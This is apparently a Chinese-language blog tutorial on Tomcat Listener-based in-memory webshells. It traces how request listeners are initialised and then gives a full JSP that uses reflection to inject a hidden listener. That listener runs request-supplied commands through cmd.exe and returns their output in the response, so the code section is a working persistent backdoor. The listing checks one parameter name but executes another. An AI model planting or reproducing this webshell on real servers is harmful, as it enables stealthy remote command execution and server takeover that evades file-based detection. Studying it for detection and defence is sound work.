前言
讲解Listener内存马原理,和简单实现
Listener加载原理
还是这张图,Listener是在最开始就被创建的
Listener一共有8个监听器接口,但是由于内存马的特殊性,一般是在ServletRequestListener接口进行内存马注入,该接口用于监听 ServletRequest 对象的创建和销毁过程,而每次访问服务器都会触发此接口
调试
前期准备可以看看Filter内存马的文章
先写一个Listener的容器,实现了ServletRequestListener接口,用注解的方式进行注册1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
public class TestListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestInitialized");
}
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestDestroyed");
}
}
在requestInitialized处打上断点,根据调用栈,可以知道是context.fireRequestInitEvent(request.getRequest())
进行了初始化
context是由request.getContext();
初始化,在后续利用需要
进入context.fireRequestInitEvent
函数,可以看到是由listener进行了监听器初始化,且listener来源于getApplicationEventListeners();
内存马实现
通过上面的分析,我们可以知道,只需要往applicationEventListenersList中加入我们的Listener对象就可以了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.List" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmdl") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Field aELL = context.getClass().getDeclaredField("applicationEventListenersList");
aELL.setAccessible(true);
List applicationEventListenersList = (List)aELL.get(context);
MyListener listenerDemo = new MyListener();
applicationEventListenersList.add(listenerDemo);
%>
根据前面的分析,context是由request.getContext();
得到的,所以写内存马的时候也可以通过同样的方式获取
增加applicationEventListenersList,这里我是通过反射的方式获取到了private属性的applicationEventListenersList,然后进行了一次add
当然也可以通过context提供的成员方法进行修改1
standardContext.addApplicationEventListener(listenerDemo);